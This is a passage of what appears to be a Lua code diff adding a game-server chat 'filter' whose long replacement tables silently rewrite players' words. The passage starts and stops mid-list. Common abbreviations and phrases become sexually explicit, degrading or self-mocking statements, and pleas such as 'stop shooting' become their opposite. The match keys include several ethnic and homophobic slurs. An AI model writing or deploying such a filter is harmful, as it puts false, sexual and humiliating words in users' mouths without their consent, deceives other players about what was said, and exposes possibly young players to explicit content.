"Porno"}, + {what = "byol", with = "Porno!"}, + {what = "harr", with = "Hardon!"}, + {what = "baws", with = "cock and balls"}, + {what = "bcuz", with = "Beakers"}, + {what = "nawh", with = "blowjobs $10"}, + {what = "tiem", with = "Bum Time"}, + {what = "teim", with = "Bum Time"}, + {what = "fags", with = "hot guys"}, + {what = "whzz", with = "Cheese Whiz"}, + {what = "thjx", with = "90,000 Watts"}, + {what = "gerd", with = "Parrot"}, + {what = "trai", with = "Diiner Tray"}, + {what = "tors", with = "Sliding Doors"}, + {what = "youy", with = "young ass"}, + {what = "duno", with = "Sand Dunes"}, + {what = "sowy", with = "Pork Pies"}, + {what = "whor", with = "who wants to suck me"}, + {what = "leet", with = "awesome and I can't play!"}, + {what = "chek", with = "lick me"}, + {what = "plis", with = "a Playlist"}, + {what = "pils", with = "PILLS HERE"}, + {what = "wohs", with = "who wants my dick and"}, + {what = "cums", with = "Squirts"}, + {what = "luve", with = "my buttocks are"}, + {what = "taht", with = "sucking with his,"}, + {what = "bruv", with = "I'm gay"}, + {what = "wtdd", with = "with the Dongs"}, + {what = "knwo", with = "know about my huge boner for you,"}, + {what = "jyst", with = "just don't know how to spell and"}, + {what = "imho", with = "I'm a ho!"}, + {what = "wiht", with = "with my new buttplug and"}, + {what = "thro", with = "through my buttocks"}, + {what = "yoou", with = "you're awesome, I can't spell!"}, + {what = "kiil", with = "kill me, I can't spell!"}, + {what = "saay", with = "say you love my dick!"}, + {what = "sors", with = "Sorry, I am unable to spell, please shoot me"}, + {what = "nife", with = "knife, I am unable to spell, please SHOOT ME"}, + {what = "nnoo", with = "no, I am unable to spell, please SHOOT ME"}, + {what = "hoow", with = "how, I am unable to spell, please SHOOT ME"}, + {what = "thow", with = "though I'm unable to spell"}, + {what = "noop", with = "yes!"}, + {what = "saiz", with = "said to come and shoot me"}, + {what = "plez", with = "Lesbian"}, + {what = "suks", with = "Eats"}, + {what = "duin", with = "Direct Input"}, + {what = "werd", with = "Microsoft Office"}, + {what = "plse", with = "Corrupted Playlist"}, + {what = "buld", with = "Oh dear"}, + {what = "prly", with = "probably, but I have a tiny cock!"}, + {what = "nubs", with = "Buttons"}, + {what = "heff", with = "shoot my hat off"}, + {what = "shti", with = "Manure"}, + {what = "swag", with = "Bag of loot"}, + {what = "bada", with = "bad dildo, no"}, + {what = "tawk", with = "talk about how small my dick is"}, + {what = "puls", with = "suck on my cock"}, + {what = "rdmd", with = "came all over me"}, + {what = "pulz", with = "suck on my cock"}, + {what = "pluz", with = "suck on my cock"}, + {what = "inno", with = "the whole 11 inches"}, + {what = "pown", with = "i can wipe my own ass!"}, + {what = "thos", with = "those dicks you were talking about"}, + {what = "bahn", with = "Barnyard"}, + {what = "fing", with = "Fangs"}, + {what = "band", with = "Brass Band"}, + {what = "duus", with = "Brass Band"}, + {what = "ownt", with = "never owned a telephone"}, + {what = "wtdf", with = "we down to fuck tonight?"}, + {what = "fkin", with = "would you like a threesome with my brother?"}, + {what = "fuak", with = "finish on my face"}, + {what = "fock", with = "Love"}, + {what = "datt", with = "Data Tapes"}, + {what = "foar", with = "Five"}, + {what = "amin", with = "Awesome Dude"}, + {what = "wpah", with = "Wireless Protection Activated"}, + {what = "noez", with = "EZ-Cheese"}, + {what = "whaa", with = "with the cake and"}, + {what = "romm", with = "Read-only memory"}, + {what = "bloo", with = "Toilet Cleaner"}, + {what = "ming", with = "great player"}, + {what = "thix", with = "broken speakers"}, + {what = "cent", with = "Dollars"}, + {what = "vajj", with = "Mis-Spelling"}, + {what = "fawk", with = "Fireworks"}, + {what = "rdmm", with = "blow it all over me"}, + + + --3 + {what = "tur", with = "Turtle"}, + {what = "uif", with = "ISO Image"}, + {what = "adm", with = "add more Man"}, + {what = "yru", with = "why do i find you really sexy,"}, + {what = "wdf", with = "with Dildos and Fisting"}, + {what = "gus", with = "Gas"}, + {what = "lyk", with = "like cute dicks"}, + {what = "sus", with = "some underpants and"}, + {what = "waz", with = "was unable to spell"}, + {what = "ths", with = "this is awesome, add me on steam, it's _FLT_"}, + {what = "omf", with = "or my free guns"}, + {what = "cac", with = "CNC Machine"}, + {what = "mlp", with = "my tiny dick"}, + {what = "mlg", with = "my tiny dick"}, + {what = "ger", with = "Germs"}, + {what = "coc", with = "CNC Machine"}, + {what = "tig", with = "Tiger gas"}, + {what = "mom", with = "dog"}, + {what = "wan", with = "Minivan"}, + {what = "emd", with = "Electromagnetic Pulse"}, + {what = "unt", with = "my butthole"}, + {what = "shu", with = "sinking ship"}, + {what = "olo", with = "oh dear, I seem to only have a tiny dick"}, + {what = "tra", with = "Dinner Tray"}, + {what = "nad", with = "boyfriend"}, + {what = "svr", with = "Radiation"}, + {what = "rmd", with = "cum all over"}, + {what = "drm", with = "cum inside"}, + {what = "rof", with = "roof of the Gas Station"}, + {what = "med", with = "Medium-sized cock"}, + {what = "nig", with = "National Insurance Game"}, + {what = "gae", with = "Awesome"}, + {what = "den", with = "then we can fuck tonight if"}, + {what = "wry", with = "worry about your cock, i know it's very small"}, + {what = "daz", with = "Soap Powder"}, + {what = "vag", with = "Bag of sand"}, + {what = "jew", with = "Juice"}, + {what = "hee", with = "he has a lovley anus,"}, + {what = "mai", with = "Corrupted Email"}, + {what = "trt", with = "Jam Tart"}, + {what = "gey", with = "awesome in bed"}, + {what = "duh", with = "Carpet Muncher"}, + {what = "wep", with = "Wired Equivalent Privacy"}, + {what = "bah", with = "Baghdad"}, + {what = "hlp", with = "Hewlett Packard"}, + {what = "fux", with = "Firefox"}, + {what = "fak", with = "Love my dick and"}, + {what = "dik", with = "Boner"}, + {what = "yau", with = "Yahoo, but I can't spell"}, + {what = "yuo", with = "your dick and your"}, + {what = "oyu", with = "your cock and your"}, + {what = "sor", with = "Operating System"}, + {what = "osr", with = "Operating System"}, + {what = "mem", with = "Random Access Memory"}, + {what = "afk", with = "taking a dump in a can!"}, + {what = "ust", with = "just come and shoot me"}, + {what = "ome", with = "Bomb"}, + {what = "tah", with = "Taco"}, + {what = "wnt", with = "want to die with"}, + {what = "yuh", with = "Yellow hat"}, + {what = "upp", with = "up yours"}, + {what = "dha", with = "Bomb"}, + {what = "imn", with = "I'm not being shot right now, shoot me!"}, + {what = "nlr", with = "NTLDR"}, + {what = "maj", with = "Explosives"}, + {what = "mej", with = "Matches"}, + {what = "bck", with = "watching porn!"}, + {what = "doi", with = "Driving under the influence"}, + {what = "ick", with = "Icing"}, + {what = "hak", with = "Skiddie Fuel"}, + {what = "tsk", with = "I have a huge hardon for you"}, + {what = "ing", with = "Gold Bar"}, + {what = "cha", with = "VHS"}, + {what = "wee", with = "Urine!"}, + {what = "neh", with = "Nuts and bolts"}, + {what = "nuh", with = "Nuts and bolts"}, + {what = "wai", with = "wait until you see it hard!"}, + {what = "ser", with = "Server"}, + {what = "sth", with = "Roadworks"}, + {what = "git", with = "Grit"}, + {what = "fer", with = "for my next lovemaking session with"}, + {what = "ops", with = "Operations per second"}, + {what = "wor", with = "I'm a whore"}, + {what = "iww", with = "Telephone Weights"}, + {what = "sow", with = "Pork Pie"}, + {what = "tel", with = "Telephone"}, + {what = "nob", with = "Awesome Player"}, + {what = "srv", with = "Solid Rocket Booster"}, + {what = "don", with = "huge dong!"}, + {what = "eni", with = "eBay"}, + {what = "hte", with = "love a giant cock"}, + {what = "ded", with = "my dead braincells"}, + {what = "yus", with = "yum, dicks"}, + {what = "gah", with = "Duct Tape"}, + {what = "ino", with = "Inno Setup Compiler"}, + {what = "nou", with = "no Uranium"}, + {what = "dud", with = "dude, look at my boner!"}, + {what = "hao", with = "Halo 2"}, + {what = "hwy", with = "why can't I spell!"}, + {what = "las", with = "last dildo in the store"}, + {what = "brb", with = "Barbed Wire"}, + {what = "qoq", with = "butt plugs,"}, + {what = "koc", with = "butt plugs,"}, + {what = "kok", with = "butt plugs,"}, + {what = "cok", with = "butt plugs,"}, + {what = "coq", with = "butt plugs,"}, + {what = "iam", with = "I love butt plugs,"}, + {what = "afc", with = "afraid of cocks"}, + {what = "mak", with = "Media Access"}, + {what = "cnt", with = "I'm Gay"}, + {what = "dif", with = "Difference File"}, + {what = "tha", with = "the massive dildo with the"}, + {what = "nno", with = "no pants on"}, + {what = "wif", with = "stink"}, + {what = "ofc", with = "yes, i'd love to suck you :3"}, + {what = "tks", with = "Water Tanks"}, + {what = "ftw", with = "come and shoot me with it"}, + {what = "whz", with = "Cheese Whiz"}, + {what = "yea", with = "a million years"}, + {what = "ups", with = "Uninterruptable Power Supply"}, + {what = "hiz", with = "Hiss"}, + {what = "lul", with = "I'm terrible"}, + {what = "lel", with = "I'm terrible"}, + {what = "lal", with = "I'm terrible"}, + {what = "wtd", with = "with the Dong"}, + {what = "dam", with = "Hoover Dam"}, + {what = "uda", with = "Buddha"}, + {what = "dou", with = "Dough"}, + {what = "har", with = "Hardon!"}, + {what = "rlz", with = "ReleaseLog"}, + {what = "bro", with = "brother's huge cock"}, + {what = "abt", with = "Trouser Snake"}, + {what = "yer", with = "my anus"}, + {what = "haw", with = "Hawk"}, + {what = "fir", with = "Infrared Data Link"}, + {what = "fro", with = "Frozen"}, + {what = "dne", with = "Methane"}, + {what = "ure", with = "Urinal"}, + {what = "mad", with = "Bananas"}, + {what = "foo", with = "Food"}, + {what = "luk", with = "Hardon"}, + {what = "oic", with = "2 inch cock"}, + {what = "whn", with = "with Eggs when"}, + {what = "tty", with = "Teletype"}, + {what = "fuc", with = "Kentucky Fried Chicken"}, + {what = "shi", with = "Ship"}, + {what = "tru", with = "Trunk"}, + {what = "mhm", with = "Cadillac!"}, + {what = "srx", with = "XXX"}, + {what = "cos", with = "because I have a tiny cock!"}, + {what = "cud", with = "Cadillac"}, + {what = "shd", with = "Shipwreck"}, + {what = "gng", with = "CNC Machine"}, + {what = "eff", with = "Electronic Frontier Foundation"}, + {what = "sux", with = "sucks my boner"}, + {what = "cbf", with = "can fuck forever"}, + {what = "tbh", with = "those butts are hot"}, + {what = "muh", with = "Mustard"}, + {what = "mon", with = "Monitor"}, + {what = "yoo", with = "Users"}, + {what = "hbu", with = "Host Bus Upstream"}, + {what = "sho", with = "Shower"}, + {what = "hve", with = "High Voltage Electric"}, + {what = "sos", with = "I've been dicking myself, but there's room for two!"}, + {what = "sto", with = "Storage"}, + {what = "pik", with = "Diamond Pickaxe"}, + {what = "mfw", with = "Metafile Windows"}, + {what = "tfw", with = "Torrent file Windows"}, + {what = "fml", with = "Female"}, + {what = "fst", with = "first Tits"}, + {what = "wbu", with = "Wireless Broadband Update"}, + {what = "ffs", with = "I'm immensely frustrated"}, + {what = "wen", with = "with a Chicken when"}, + {what = "tun", with = "Tuna fish"}, + {what = "npe", with = "and Pie"}, + {what = "omg", with = "oh and I love cock"}, + {what = "cus", with = "Curse"}, + {what = "nic", with = "Network Interface Controller"}, + {what = "bsy", with = "Bee"}, + {what = "tht", with = "Titanic"}, + {what = "der", with = "Dong"}, + {what = "nao", with = "Meow"}, + {what = "sry", with = "iPhone"}, + {what = "cum", with = "Baby Cream"}, + {what = "nty", with = "Contains Nuts"}, + {what = "meh", with = "Meth"}, + {what = "mah", with = "Math"}, + {what = "hav", with = "Half"}, + {what = "soz", with = "Knitted Socks!"}, + {what = "sup", with = "Chicken Soup"}, + {what = "sir", with = "Big Cheese"}, + {what = "thx", with = "90,000 Watts"}, + {what = "wis", with = "Windows Installer"}, + {what = "tnx", with = "Dynamite"}, + {what = "wat", with = "Windows Activation"}, + {what = "wut", with = "Windows Update"}, + {what = "wot", with = "Weather Balloon"}, + {what = "wuh", with = "Windows Update"}, + {what = "wha", with = "Pizza with Applesauce"}, + {what = "eet", with = "Feet"}, + {what = "dub", with = "Dubstep"}, + {what = "wos", with = "Washer"}, + {what = "wus", with = "Washer"}, + {what = "wht", with = "Wheat"}, + {what = "ikr", with = "I love to take it up the butt"}, + {what = "hah", with = "you sound hot!"}, + {what = "dah", with = "Dakara"}, + {what = "pon", with = "Panties"}, + {what = "ies", with = "Internet Explorer"}, + {what = "cks", with = "long cocks"}, + {what = "dnt", with = "Donut"}, + {what = "bak", with = "Backup"}, + {what = "noo", with = "I'm Nude!"}, + {what = "nuu", with = "Nude"}, + {what = "luv", with = "love sucking"}, + {what = "wuv", with = "love sucking"}, + {what = "wuz", with = "Wood"}, + {what = "lik", with = "licked his cock with"}, + {what = "nup", with = "Network Unplugged"}, + {what = "nop", with = "Network Operations"}, + {what = "nah", with = "Nachos"}, + {what = "nub", with = "Great Player"}, + {what = "cya", with = "Cyanide!"}, + {what = "sya", with = "Change my Ink Cartridge!"}, + {what = "rdy", with = "Lube"}, + {what = "cuz", with = "Cruise Missile"}, + {what = "coz", with = "Cruise Missile"}, + {what = "fgt", with = "forgotton folder of porn!"}, + {what = "fag", with = "hot dude"}, + {what = "sed", with = "said come and shoot me"}, + {what = "stp", with = "File Transfer Protocol"}, + {what = "srs", with = "Servers"}, + {what = "lyf", with = "life, don't talk to me about life :("}, + {what = "haz", with = "have hairy balls"}, + {what = "fug", with = "Fuckweasel"}, + {what = "fuq", with = "Fuckweasel"}, + {what = "foq", with = "Fuckweasel"}, + {what = "suk", with = "suck my boner"}, + {what = "tis", with = "Transport Infomation Services"}, + {what = "suc", with = "suck my boner"}, + {what = "bai", with = "Bail"}, + {what = "dis", with = "Long Distance"}, + {what = "gon", with = "gone to buy a new dildo and"}, + {what = "hai", with = "Hello, I can't spell!"}, + {what = "ppl", with = "people with dicks"}, + {what = "gag", with = "Finger"}, + {what = "dat", with = "Data tape"}, + {what = "idk", with = "I'm too busy fapping"}, + {what = "idc", with = "I still love you"}, + {what = "wth", with = "with the hot guys!"}, + {what = "mhe", with = "Methane"}, + {what = "boi", with = "BIOS"}, + {what = "yey", with = "yay, also I like it up the ass!"}, + {what = "pzl", with = "a Playlist"}, + {what = "plz", with = "a Playlist"}, + {what = "pls", with = "a Playlist"}, + {what = "plx", with = "A PLAYLIST!"}, + {what = "rly", with = "Power Relay"}, + {what = "fel", with = "Feel"}, + {what = "nss", with = "No Software Service"}, + {what = "daf", with = "DoS Attack Fix"}, + {what = "non", with = "Noon"}, + {what = "nis", with = "Nipple Insurance"}, + {what = "thn", with = "Thong"}, + {what = "teh", with = "my dick with the"}, + {what = "knw", with = "know I love dick"}, + {what = "kno", with = "Snow"}, + {what = "dem", with = "Demo"}, + {what = "ima", with = "Windows 95"}, + {what = "def", with = "#define"}, + {what = "chk", with = "CheckDisk"}, + {what = "nvm", with = "NVIDIA"}, + {what = "yup", with = "yes, with your dick"}, + {what = "sht", with = "Shutdown"}, + {what = "dun", with = "Dung"}, + {what = "tho", with = "Thong"}, + {what = "thr", with = "Thread"}, + {what = "cba", with = "Concrete Building Assosiation"}, + {what = "sec", with = "sex"}, + {what = "wud", with = "large wad"}, + {what = "btw", with = "Bring Terror Weapons"}, + {what = "gna", with = "Grandma's Nasty Ass!"}, + {what = "naw", with = "Anal"}, + {what = "kik", with = "Lick"}, + {what = "tro", with = "Toll Bridge"}, + {what = "urs", with = "your massive cock"}, + {what = "pks", with = "Parks"}, + {what = "fud", with = "food Underpants"}, + {what = "fik", with = "Norberto fig awesome cat competition"}, + {what = "yow", with = "Meow"}, + {what = "rad", with = "Radiation"}, + {what = "jus", with = "Juice"}, + {what = "mao", with = "Meow"}, + {what = "gud", with = "good for the backside"}, + {what = "wit", with = "White"}, + {what = "wyd", with = "with your dick!"}, + {what = "moo", with = "dog poo"}, + {what = "pwn", with = "suck"}, + {what = "thy", with = "Thighs"}, + {what = "fkn", with = "come and Bang me"}, + {what = "gal", with = "Gallons"}, + {what = "wah", with = "Water Heater"}, + {what = "thi", with = "Thighs"}, + {what = "yah", with = "Yahoo!"}, + {what = "gtg", with = "got to go now, I can't spell :("}, + {what = "tdm", with = "no, I mean come and shoot me!"}, + {what = "rdm", with = "cum all over"}, + {what = "kil", with = "Bang"}, + {what = "det", with = "Detonator"}, + {what = "mby", with = "Maybe you can suck me or"}, + {what = "thw", with = "the Wireless"}, + {what = "cna", with = "can fuck me or"}, + {what = "spk", with = "Service Pack"}, + {what = "som", with = "some fingering and"}, + {what = "sum", with = "some fisting and"}, + {what = "fck", with = "Love"}, + {what = "wer", with = "Windows Error"}, + {what = "rqs", with = "sucks me off"}, + {what = "srz", with = "Servers"}, + {what = "yeh", with = "want to see my webcam? my skype is _FLT_"}, + {what = "wna", with = "can't spell"}, + {what = "fil", with = "Cream Filling"}, + {what = "dic", with = "Huge Boner"}, + {what = "ono", with = "or nearest offer"}, + {what = "whr", with = "massive boner"}, + {what = "thm", with = "Thaum"}, + {what = "kic", with = "KFC"}, + {what = "wid", with = "Windows Installer"}, + {what = "mee", with = "me and my cock"}, + {what = "imo", with = "in my butt"}, + {what = "bou", with = "boat full of dynamite"}, + {what = "fat", with = "File Allocation Table"}, + {what = "dum", with = "cool"}, + {what = "wel", with = "Water Well"}, + {what = "owr", with = "our buttocks"}, + {what = "fks", with = "Loves"}, + {what = "nos", with = "Nitrous Oxide"}, + {what = "dur", with = "Doorstop"}, + {what = "tat", with = "Tattoo"}, + {what = "oke", with = "ok, now will you shoot me?"}, + {what = "iim", with = "I'm unable to spell, so please shoot me now while I'm"}, + {what = "giv", with = "give me a blowjob"}, + {what = "stu", with = "Chicken Stew"}, + {what = "pid", with = "Product ID"}, + {what = "hmu", with = "her massive underpants"}, + {what = "tor", with = "The Onion Router"}, + {what = "hel", with = "Ice Cream van"}, + {what = "iss", with = "Public Toilet"}, + {what = "joo", with = "Apple Juice"}, + {what = "yiu", with = "you have a boner"}, + {what = "obv", with = "obviously too big for me"}, + {what = "ers", with = "Ears"}, + {what = "nxt", with = "Lego"}, + {what = "mer", with = "butt rocket"}, + {what = "cic", with = "i'm not blind"}, + {what = "chu", with = "Choo-Choo"}, + {what = "sre", with = "iPhone"}, + {what = "giy", with = "guy who can spell"}, + + --2 + {what = "ll", with = "large boner"}, + {what = "bn", with = "bone"}, + {what = "ba", with = "big ass"}, + {what = "fg", with = "fake guns"}, + {what = "af", with = "activate Farting!"}, + {what = "cm", with = "Cinematic Mod"}, + {what = "ga", with = "golden apple"}, + {what = "ad", with = "Advertising"}, + {what = "ze", with = "my butthole with"}, + {what = "pe", with = "dick explosion"}, + {what = "le", with = "Light Edition"}, + {what = "bs", with = "Building Services"}, + {what = "wa", with = "Windows Activation"}, + {what = "ke", with = "Kink Engineering"}, + {what = "ir", with = "Infrared"}, + {what = "ys", with = "you're sexy"}, + {what = "ta", with = "Roadworks"}, + {what = "rr", with = "RoadRunner"}, + {what = "ol", with = "oh dear, i've pooped my pants"}, + {what = "lo", with = "want to see my huge boner"}, + {what = "os", with = "Windows Vista"}, + {what = "ou", with = "my boner"}, + {what = "un", with = "exploding"}, + {what = "ni", with = "Nipple"}, + {what = "dx", with = "my huge boner"}, + {what = "pp", with = "Post Processing"}, + {what = "cp", with = "Control Panel"}, + {what = "fk", with = "Love"}, + {what = "al", with = "Aluminium"}, + {what = "rq", with = "cum all over me"}, + {what = "dd", with = "Double Dildo"}, + {what = "mk", with = "make me a cake"}, + {what = "ha", with = "BLOWJOB!"}, + {what = "aa", with = "Auto Activation"}, + {what = "om", with = "or Mangos"}, + {what = "ss", with = "Suck Suck"}, + {what = "ka", with = "Cake"}, + {what = "ds", with = "Dual Screen"}, + {what = "fr", with = "France"}, + {what = "nu", with = "Fuck me in the ass"}, + {what = "qq", with = "Fuck me in the ass"}, + {what = "ff", with = "Fuck me in the ass"}, + {what = "uu", with = "My sweaty balls"}, + {what = "tt", with = "those titties!"}, + {what = "bt", with = "Broken Telephone"}, + {what = "ki", with = "Kink Engineering"}, + {what = "gs", with = "Gone Shopping"}, + {what = "hu", with = "huge anus"}, + {what = "wb", with = "White Balance"}, + {what = "sk", with = "Cumshot"}, + {what = "ai", with = "All Invisible"}, + {what = "ab", with = "about to Bang"}, + {what = "yw", with = "you wank?"}, + {what = "gj", with = "I love a nice big cock!"}, + {what = "wf", with = "without Flourine"}, + {what = "gd", with = "GameDeception"}, + {what = "fa", with = "Fap"}, + {what = "wy", with = "Nintendo Wii"}, + {what = "wu", with = "Windows Update"}, + {what = "xe", with = "Extreme Edition"}, + {what = "lk", with = "Lick"}, + {what = "jw", with = "Juicy Wang"}, + {what = "se", with = "ScriptEnforcer"}, + {what = "uv", with = "Ultravoilet"}, + {what = "iz", with = "hate my life"}, + {what = "bc", with = "Battle Cruiser"}, + {what = "jk", with = "JFK"}, + {what = "nm", with = "Nanomechanics"}, + {what = "eh", with = "Event Horizon"}, + {what = "fs", with = "Filesystem"}, + {what = "fo", with = "Phone"}, + {what = "wi", with = "Windows Installer"}, + {what = "na", with = "Sodium"}, + {what = "gg", with = "Grandma's Gun!"}, + {what = "nt", with = "Windows NT"}, + {what = "uq", with = "Ducklings"}, + {what = "wt", with = "Waste Transfer"}, + {what = "yo", with = "Yogurt"}, + {what = "tu", with = "Titanium Underpants"}, + {what = "iv", with = "I vomit"}, + {what = "ht", with = "Hyperthreading"}, + {what = "ne", with = "Neon Lamp"}, + {what = "gy", with = "guy's cock"}, + {what = "bk", with = "Burger King"}, + {what = "cu", with = "Copper"}, + {what = "dw", with = "Dong Warning"}, + {what = "yu", with = "Urinal"}, + {what = "yr", with = "Your ass"}, + {what = "ty", with = "Burgundy Tie"}, + {what = "hw", with = "Hardware"}, + {what = "ud", with = "Unlimited Download"}, + {what = "ur", with = "your huge dick, your"}, + {what = "yh", with = "yes handjob!"}, + {what = "ye", with = "yes, I'd love to suck it"}, + {what = "np", with = "Null Pointer"}, + {what = "rp", with = "Drama Unlimited"}, + {what = "wh", with = "White Hat"}, + {what = "ik", with = "Inverse kinematics"}, + {what = "da", with = "Direct Access"}, + {what = "tp", with = "Toilet Paper"}, + {what = "xd", with = "I swallow!"}, + {what = "ce", with = "Windows CE"}, + {what = "ov", with = "Russia"}, + {what = "ru", with = "Russia"}, + {what = "st", with = "Stargate"}, + {what = "op", with = "Original Poster"}, + {what = "sh", with = "Shit Happens"}, + {what = "fu", with = "for Underpants"}, + {what = "ck", with = "Carbon King"}, + {what = "su", with = "Superuser"}, + {what = "em", with = "Electromagnet"}, + {what = "gu", with = "hot dicks"}, + {what = "pl", with = "Plutonium"}, + {what = "ev", with = "Evolve"}, + {what = "te", with = "Teapot"}, + {what = "kk", with = "Cake Cake"}, + {what = "gt", with = "Gigatexels"}, + {what = "bb", with = "BaconBot"}, + {what = "mi", with = "Mission Impossible"}, + {what = "oi", with = "I/O Buffer"}, + {what = "mw", with = "Medium Wave"}, + {what = "sa", with = "San Andreas"}, + {what = "du", with = "Depleted Uranium"}, + {what = "cc", with = "Crispy Coconut"}, + {what = "yy", with = "Yellow Yarrgh!"}, + {what = "oo", with = "or bone me"}, + {what = "wd", with = "Western Digital"}, + {what = "de", with = "Germany"}, + {what = "wc", with = "Water Closet"}, + {what = "mf", with = "Mediafire"}, + {what = "mu", with = "Megaupload"}, + {what = "rs", with = "Rapidshit"}, + {what = "ar", with = "are Fisting"}, + {what = "ma", with = "my boner and"}, + {what = "mn", with = "my boner and"}, + {what = "ts", with = "lovely dicks"}, + {what = "ed", with = "unable to get it up"}, + {what = "re", with = "rewind"}, + {what = "ro", with = "row my boat"}, + {what = "fl", with = "Flour"}, + + --1 + --A + {what = "b", with = "Butt plug"}, + --C, other + --D, other + --E, other + --F, other + {what = "g", with = "Gasoline"}, + {what = "h", with = "Handjob"}, + --I, other + {what = "j", with = "Juice"}, + {what = "k", with = "Nutsack"}, + --L, other + {what = "m", with = "my tiny dong with the"}, + --N, other + {what = "o", with = "Oxygen"}, + {what = "p", with = "Protons"}, + --Q + {what = "r", with = "Rubbing"}, + --S, other + --T, other + {what = "u", with = "My balls"}, + {what = "v", with = "Vacbed"}, + {what = "w", with = "Wireless"}, + --X, other + {what = "y", with = "Yellow"}, + --Z + + + --Swears + {what = "cocksucking", with = "giving a blowjob"}, + {what = "cocksucker", with = "give me a blowjob!"}, + {what = "cocking", with = "Roosting"}, + {what = "cocks", with = "Roosters"}, + {what = "cock", with = "Rooster"}, + + {what = "dike", with = "Explosion"}, + {what = "dyke", with = "Explosion"}, + {what = "douche", with = "butt rocket"}, + {what = "douch", with = "butt rocket"}, + {what = "douchebag", with = "butt finger blast"}, + + {what = "dumbasses", with = "Drum n' Bass"}, + {what = "dumbass", with = "Drum n' Bass"}, + {what = "dumass", with = "Drum n' Bass"}, + {what = "godangit", with = "God Donut"}, + {what = "goddangit", with = "God Donut!"}, + + {what = "ahole", with = "like me cause I swallow"}, + {what = "a-hole", with = "like me cause I swallow"}, + {what = "jackass", with = "love jack's ass!"}, + {what = "ass", with = "Derriere"}, + + {what = "arseholes", with = "Crapfactories"}, + {what = "arsehole", with = "Crapfactory"}, + {what = "arse", with = "Derriere"}, + + {what = "boobies", with = "Melons"}, + {what = "boobs", with = "Melons"}, + + {what = "titties", with = "Melons"}, + {what = "tittie", with = "Melon"}, + {what = "tittys", with = "Melons"}, + {what = "titty", with = "Melons"}, + {what = "tits", with = "Melons"}, + {what = "tit", with = "Melon"}, + + {what = "bugger", with = "Sodomise"}, + {what = "twat", with = "Teapot"}, + {what = "retarded", with = "Awesome"}, + {what = "retard", with = "Genius"}, + + {what = "basterd", with = "Mr Awesome"}, + {what = "basterds", with = "Awesome Guys"}, + + {what = "bastard", with = "Mr Awesome"}, + {what = "bastards", with = "Awesome Guys"}, + {what = "bollocks", with = "Testicles"}, + {what = "bollock", with = "Testicle"}, + {what = "bollox", with = "Testicles"}, + + {what = "wanker", with = "want a blowjob?"}, + + {what = "gaytard", with = "Sir Awesome"}, + {what = "gaylord", with = "Sir Awesome"}, + + {what = "whores", with = "Firecrackers"}, + {what = "whore", with = "Firecracker"}, + {what = "hoe", with = "Firecracker"}, + {what = "ho", with = "Firecracker"}, + + {what = "chinc", with = "Teapot"}, + {what = "chink", with = "Teapot"}, + {what = "chinck", with = "Teapot"}, + {what = "spic", with = "great player"}, + {what = "spik", with = "great player"}, + {what = "spick", with = "great player"}, + + {what = "tard", with = "TARDIS"}, + {what = "pricks", with = "Sharp Edges"}, + {what = "prick", with = "cool dude"}, + {what = "clit", with = "Action Button"}, + {what = "coon", with = "Racoon"}, + {what = "idiots", with = "awesome dudes"}, + {what = "idiot", with = "awesome dude"}, + {what = "moron", with = "cool cude"}, + {what = "morons", with = "cool dudes"}, + {what = "jerk", with = "Jerk off tonight?"}, + {what = "heck", with = "Heckler & Koch"}, + {what = "paki", with = "park bench"}, + {what = "queer", with = "beef"}, + {what = "skank", with = "Spank"}, + {what = "skeet", with = "Toothpaste"}, + + {what = "fucer", with = "Faucet"}, +} + + +--SWEARWORDS, or bad words that are not nouns +HSP.ChatFilter.Swearwords = { + {what = "ur moms", with = "my mother's", rep = true}, + {what = "ur mums", with = "my mother's", rep = true}, + {what = "ur mothers", with = "my mother's", rep = true}, + {what = "ur mother", with = "my mother", rep = true}, + {what = "ur mom", with = "my mother", rep = true}, + {what = "ur mum", with = "my mother", rep = true}, + + {what = "your moms", with = "my mother's", rep = true}, + {what = "your mums", with = "my mother's", rep = true}, + {what = "youre mother", with = "my mother", rep = true}, + {what = "youre mothers", with = "my mother's", rep = true}, + {what = "your mothers", with = "my mother's", rep = true}, + {what = "your mother", with = "my mother", rep = true}, + {what = "your mom", with = "my mother", rep = true}, + {what = "your mum", with = "my mother", rep = true}, + + {what = "you mother", with = "my mother", rep = true}, + {what = "you mom", with = "my mother", rep = true}, + + {what = "u r", with = "your great big boner and the"}, + {what = "i k", with = "I only have a tiny one, sorry"}, + {what = "r u", with = "in soviet russia, I'm"}, + {what = "y u", with = "wow you're really cute,"}, + {what = "i has", with = "I have lost the ability to spell, shoot me with"}, + {what = "a ban", with = "a blowjob"}, + {what = "you suck", with = "you're awesome"}, + {what = "no life", with = "an epic life"}, + {what = "go die", with = "go get some Ice Cream"}, + {what = "get a life", with = "bone me"}, + {what = "shut up", with = "hey, want to bang me"}, + {what = "aim bot", with = "a very large dildo"}, + {what = "god mode", with = "your awesome boner"}, + {what = "you mad", with = "You're awesome"}, + {what = "server sucks", with = "server is awesome"}, + {what = "bad server", with = "epic server"}, + {what = "leave me alone", with = "come and shoot me"}, + {what = "im building", with = "It's DM, so shoot me :)"}, + + {what = "spell changer", with = "Super Awesome Chat Cleanser", rep = true}, + {what = "spell checker", with = "Super Awesome Chat Cleanser", rep = true}, + {what = "spell check", with = "Super Awesome Chat Cleanser", rep = true}, + {what = "spell thing", with = "Super Awesome Chat Cleanser", rep = true}, + {what = "chat filter", with = "Super Awesome Chat Cleanser", rep = true}, + {what = "word filter", with = "Super Awesome Word Cleanser", rep = true}, + {what = "auto correcting", with = "Auto Cucumbering", rep = true}, + {what = "auto corrector", with = "Auto Cucumber", rep = true}, + {what = "auto correct", with = "Auto Cucumber", rep = true}, + {what = "chat thing", with = "Super Awesome Chat Cleanser", rep = true}, + {what = "this chat", with = "this Super Awesome Chat Cleanser", rep = true}, + + {what = "screw this", with = "Nail me", rep = true}, + {what = "no scope", with = "can we cram the sniper rifle up my butt?", rep = true}, + {what = "role play", with = "Timewasting", rep = true}, + {what = "noob", with = "Bagpipes", rep = true}, + {what = "n00b", with = "Bagpipes", rep = true}, + {what = "wtf", with = "Waste Transfer Facility", pron = true, rep = true}, + {what = "lawl", with = "I love a wanking later", rep = true}, + {what = "mutha", with = "Dog"}, + {what = "mama", with = "Dog"}, + + {what = "dont kil me", with = "Please kill me!"}, + {what = "do not kil me", with = "I mean shoot me now!"}, + + {what = "dont kill me", with = "Please kill me!"}, + {what = "do not kill me", with = "I mean shoot me now!"}, + + {what = "quit shooting", with = "Everyone shoot"}, + {what = "stop shooting", with = "Everyone shoot"}, + {what = "no shooting", with = "Everyone shoot"}, + {what = "no shoot", with = "Come and shoot"}, + + {what = "quit killing", with = 